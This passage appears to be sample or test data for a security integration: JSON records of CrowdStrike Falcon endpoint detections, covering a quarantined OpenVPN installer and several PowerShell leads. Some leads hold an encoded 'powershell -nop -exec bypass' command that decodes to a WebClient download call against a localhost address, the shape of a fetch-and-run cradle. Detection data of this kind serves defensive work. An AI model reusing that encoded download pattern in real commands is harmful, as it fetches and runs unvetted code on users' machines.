6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
-{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
-{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 